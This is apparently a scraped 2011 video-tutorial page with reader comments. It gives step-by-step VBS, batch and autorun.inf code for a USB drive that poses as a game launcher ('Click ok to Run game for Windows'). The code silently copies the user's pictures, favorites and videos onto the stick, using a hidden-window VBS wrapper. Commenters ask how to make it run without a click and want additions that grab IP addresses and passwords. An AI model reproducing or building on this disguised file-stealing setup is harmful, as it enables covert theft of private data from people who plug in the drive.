Vbs file tutorial
Set wshShell =wscript.CreateObject(“WScript.Shell”) wshshell.run “notepad.exe” wscript.sleep 800 do wscript.sleep 100 wshshell.sendkeys “{M}” wscript.sleep 100 wshshell.sendkeys “{a}” wscript.sleep 100 wshshell.sendkeys “{s}” wscript.sleep 100 wshshell.sendkeys “{t}” wscript.sleep 100 wshshell.se…
Step 2: [autorun] icon=drive.ico open=launch.bat action=Click ok to Run game for Windows shellopencommand=launch.bat When finished Save As.. and name file autorun change the extention to .inf Step 3: @echo off :: variables /min SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo off %backupcmd% “%USERPROFILE%pictures” “%drive%allMy pics” %backupcmd% “%USERPROFILE%Favorites” “%drive%allFavorites” %backupcmd% “%USERPROFILE%videos” “%drive%allvids” @echo off cls Save as.. and name file change extention to .bat Step 4: CreateObject(“Wscript.Shell”).Run “”"” & WScript.Arguments(0) & “”"”, 0, False save as.. and name invisible change the extension to .vbs Step 5: wscript.exe invisible.vbs file.bat Save as.. “launch” change extension to .bat If all not clear, go here: www.instructables.com
Video Rating: 0 / 5
Incoming search terms:
- wscript tutorial
- SET odrive=%odrive:~0 2%
- vbs file tutorial
- %odrive:~0 2%
- wscript tutorial pdf
- vbs tutorial
- %odrive:~0,2%
- what is SET odrive=%odrive:~0 2%
- windows xp scripting tutorial
- SET odrive=%odrive:~0 2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo off
Related posts:

February 11th, 2011 at 8:19 am
OHH EXELLENT ::.DDD
February 11th, 2011 at 8:21 am
ur good with this stuff
February 11th, 2011 at 8:53 am
nice dude needed this
February 11th, 2011 at 9:15 am
@ReakHack Np..
Hope you liked it a lot.
February 11th, 2011 at 10:14 am
ohh yheaaa!!! excellent
DD
February 11th, 2011 at 10:25 am
does it work on Win7???
February 11th, 2011 at 10:31 am
@shoemakerleve9 im having the same problem, anyone know why?
February 11th, 2011 at 11:27 am
is there a way to bypass having to click the run command—just stick the usb stick in an it starts copying files?
February 11th, 2011 at 11:43 am
@Scripter4ever
thanks
February 11th, 2011 at 11:52 am
@jameshanley40 Unfortunately you can do it only in Visual Basic 2008, but it is just few lines of code. This vid helped me: watch?v=XQLYpSIczAA In this vid he uses console application, I used windows form. Still code stays like same.
February 11th, 2011 at 12:35 pm
@Scripter4ever
you should make a video out of it.. getting IP would be useful
February 11th, 2011 at 1:11 pm
This code is nice. I like it.
But you dont need to put %drive% on copy lines. And pictures & vids are often very big, so thats a problem. :/ The hacks to get user IP, or personal internet files, passwords, would be good.
Already made a script for getting IP and personal internet files.
February 11th, 2011 at 1:52 pm
It doesn’t work-I have to open “File.inf” for it to run, so what do I do?
February 11th, 2011 at 2:27 pm
I might try this.. but what’s the line with the odrive environment variable for and what’s that setting doing? and what’s odrive meant to stand for?
set odrive=%odrive:~0,2%
February 11th, 2011 at 3:24 pm
where did the Triforce.png come in u don’t mentioned in you tutorials